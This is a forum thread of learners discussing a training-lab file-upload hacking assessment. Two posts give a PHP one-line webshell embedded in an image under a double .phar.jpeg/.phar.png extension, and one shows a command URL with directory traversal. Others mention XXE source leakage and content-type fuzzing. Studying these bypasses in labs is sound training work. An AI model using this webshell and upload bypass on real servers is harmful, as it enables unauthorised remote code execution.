File Upload Attacks - Skills Assessment

Issagh · December 20, 2022, 9:46pm

Thank you

garagol · December 25, 2022, 10:51pm

@onthesauce is the best. Was able to solve it , but wasted the whole week without having ?cmd=<ls> at the end while checking the uploaded files, and thinking it was something else. So, for everyone who was able to upload files, but do not see anything, that might be your last clue.

linyera · December 31, 2022, 9:20pm

Hi everyone, how you doing?

Happy new year!

I got the directory, I can see file I uploaded. I can upload a SVG image, and dunno how to continue this. Any hint?

Thanks in advance!

c0ld1 · January 17, 2023, 8:04am

Okay after a couple of days of agony I did it who needs a hint write me

cheekychimp · January 21, 2023, 6:11pm

Thanks so much for this. This is so annoying from HTB, Why is there a submit AND an image upload button?!?! confusing!

ertaku · February 2, 2023, 8:08pm

Hello, could I get your help please?

NS9 · February 9, 2023, 10:43pm

I don’t know why my path to uploaded file is not found, any ideas ?
Today is 9th Feb 2023, so I tried 230209_, 230208_ and 230210_ but no results:

dougthonus · February 26, 2023, 9:13pm

Haven’t solved this yet, but I literally spent 30 minutes examining all the requests when I hit the blue button trying to figure out what to do before realizing the green arrow is a button and not an icon. Clicking the green button processes the image file. Going to go cry myself in the corner for wanting to ram my head against the wall, but will get back to it now that I actually see how to get an image processed.

ufotofu · March 20, 2023, 4:29pm

Having the exact same problem now. I tried appending combinations of the /var/www/html prefix but no luck. Did you figure it out?

NS9 · April 13, 2023, 12:18am

No unfortunately I didn’t

baddogg · May 21, 2023, 3:45pm

Since you already know the location where the file will be saved, upload a real image intercepts the POST request and send it to repeater, add .phar.jpeg as extension and after a couple of rows under “Content-Type” add “<?php system($_REQUEST['cmd']); ?>” into the code of the image!
Now from your browser [CTRL+U] view-source:http://68.183.47.54:31670/contact/user_feedback_submissions/230521_image.phar.jpeg?cmd=cd%20../../../../../;ls and you should see the flag. Doing so i avoided adding the magic bytes. Change ls with cat flagname.txt

benlbs · June 15, 2023, 4:03pm

So, I was able to find the upload directory as well as the whitelist/blacklist using xxe-base64-encode. However, when I try to upload a cmd webshell in Burp Repeater with filename being 230615_image.phar.jpeg, the Response is Only images are allowed. Any way to bypass this so I can read my flag in the page source code?

shad0w0lf · June 22, 2023, 2:37pm

Finished - this assessment was a hard one.

tahagoksoy · July 4, 2023, 2:34am

I’m also having the same problem, I cannot even find the images I uploaded under the upload directory. I do “get” requests for the files with renamed file versions still getting 404 error messages. What am I missing here? I appreciate any help

tahagoksoy · July 4, 2023, 5:52pm

I was able to do it today and get the flag. For some reason when I was trying to access uploaded files yesterday, it wasn’t working. I did the same steps today and I was able to access the uploaded files. I think there are bugs sometimes in these labs. this is too much time-consuming.

beani · July 7, 2023, 5:20pm

Hi, could anyone please give me a hint on how to upload any file? I am very stuck for a while now an nobody really seems to answer this question - at least it doesnt work for me.
Thanks!

1cli · July 15, 2023, 5:28pm

Friends who are stuck, I have passed the test and I will give you some hints.

Enum - What image types are available? (you can use it to read files)
Pay attention to the size of the uploaded file date written (the output content of the date size is different)
File extensions that support parsing (enumeration)
MIME format, see: List of file signatures - Wikipedia for details

Think sequentially and you’ll get the flag

benlbs · August 10, 2023, 5:06pm

So I was redoing this Skills Assessment since it has been about 2 months and wanted to see if I could still figure it out. (I remember it being very difficult for me). I was able to get the flag after some hints, but the thing I still can’t figure out this time is how to find user_submissions_feedback. I have tried using the XXE example and changed the resource to the proper php file, but when I decode the base64, it just shows exactly everything that was requested. It’s not showing the hidden directory or how to prepend the date to the file. Can someone help with this please?

Thien · August 11, 2023, 9:15pm

You are on the right track!

Just recall that within the section of this module where they show you the trick, the lab is specifically expecting a .svg file… which is not the case for this skills assessment, as shown within the sourcecode of the page: the file upload is expecting .jpg, .jpeg, or .png file extension. That makes it the first problem (really a problem?) to solve.

The second problem is that you also need to provide a proper file content type to bypass the expected type of file which can be uploaded: an image file. Recall the content-type fuzzing part to find out what works…

Then, using the payload trick you thought of (XXE), you will be able to leak the proper .php sourcecode file which by the way shows all the filters to bypass and what happens to a file you upload on the server side: in other words, you know how to craft yoru webshell and where to “go” to trigger it.

Slenderhack · August 15, 2023, 7:48am

Hi , can you help me ?

this is ok:

but when i replace de content like this:
-----WebKitFormBoundaryAvVAv9WPj9RtZCe3
Content-Disposition: form-data; name=“uploadFile”; filename=“snails.phar.png”
Content-Type: image/png

PNG

<?php system($_REQUEST['cmd']); ?>

------WebKitFormBoundaryAvVAv9WPj9RtZCe3–
shows

Only images are allowed

I hope you can help me ,
thanks anyway, have a nice day